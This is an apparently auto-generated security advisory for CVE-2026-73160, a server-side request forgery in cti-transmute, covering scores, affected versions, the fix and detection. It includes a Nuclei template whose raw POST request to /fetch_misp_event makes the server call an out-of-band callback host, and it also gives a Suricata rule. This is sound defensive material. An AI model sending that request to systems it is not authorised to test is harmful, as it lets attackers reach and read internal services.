CVE-2026-73160: cti-transmute Unauthenticated SSRF via Hostnames Resolving to Internal IP Addresses
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-08 00:03 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
Affected versions of cti-transmute contain an SSRF vulnerability in the /fetch_misp_event and /misp_search_events endpoints. The URL validation routine checked whether a supplied hostname was itself an IP literal and rejected private, loopback, link-local, or reserved IPs. However, ordinary domain names were accepted without resolving them first. An attacker could therefore use a hostname whose DNS record pointed to an internal address and cause the cti-transmute server to issue requests into its internal network. The commit explicitly states that anonymous callers could make the server request the internal target and read the response. The fix resolves hostnames using socket.getaddrinfo(), checks that every resolved address is globally routable, and additionally places @login_required on both affected MISP fetch/search routes.
Description quoted from the CVE record (assigned by CIRCL, published 2026-08-11).
Weakness: CWE-918 Server-Side Request Forgery (SSRF)
How it can be exploited
Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: partial.
Public exploit evidence (Exploit Observer)
Exploit Observer found 5 code repositories naming this CVE.
Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.
See all 8 references on Exploit Observer
Live scores
- EPSS
- 0.004
low predicted chance of attack - VEDAS
- 0.987
strong exploit evidence - On CISA KEV
- Not listed
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| MISP cti-transmute | up to and including 1.4.0 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
Vendor guidance:
How to detect it
Nuclei template (active check)
cti-transmute - Server-Side Request Forgery
cti-transmute (MISP) through 1.4.0 exposes the unauthenticated POST /fetch_misp_event endpoint, which fetches the MISP instance given in the misp_url JSON field. The URL validation only rejected private/loopback/reserved IP literals and accepted any hostname without resolving it, so an attacker can supply a hostname that reaches internal services, resulting in Server-Side Request Forgery.
Name and description quoted from the template, written by VEDAS.
The template sends 1 request (POST /fetch_misp_event); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2026-73160.yamlShow the template (39 lines)
id: CVE-2026-73160
info:
name: "cti-transmute - Server-Side Request Forgery"
author: vedas-arpsyndicate
severity: high
description: |
cti-transmute (MISP) through 1.4.0 exposes the unauthenticated POST /fetch_misp_event endpoint,
which fetches the MISP instance given in the misp_url JSON field. The URL validation only rejected
private/loopback/reserved IP literals and accepted any hostname without resolving it, so an attacker
can supply a hostname that reaches internal services, resulting in Server-Side Request Forgery.
reference:
- https://www.exploit.observer/?keyword=CVE-2026-73160&match=exact
- https://subdomain.center/?engine=ammonites&keyword=cti-transmute&match=exact
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
cvss-score: 8.7
cve-id: CVE-2026-73160
cwe-id: CWE-918
metadata:
verified: false
tags: cve,cve2026,cti-transmute,misp,ssrf,oast,unauth
http:
- raw:
- |
POST /fetch_misp_event HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: application/json
{"misp_url":"https://{{interactsh-url}}/","api_key":"vedas","event_id":"1"}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-73160 cti-transmute - Server-Side Request Forgery. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"VEDAS CVE-2026-73160 cti-transmute - Server-Side Request Forgery"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/fetch_misp_event"; nocase; fast_pattern; http.request_body; content:"misp_url"; nocase; content:"://"; classtype:web-application-attack; reference:cve,CVE-2026-73160; reference:url,https://www.exploit.observer/?keyword=CVE-2026-73160&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=cti-transmute&match=exact; sid:1071404; rev:1;)
CVE-2026-73160.rules on GitHub
References
Vendor advisories and patches
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.
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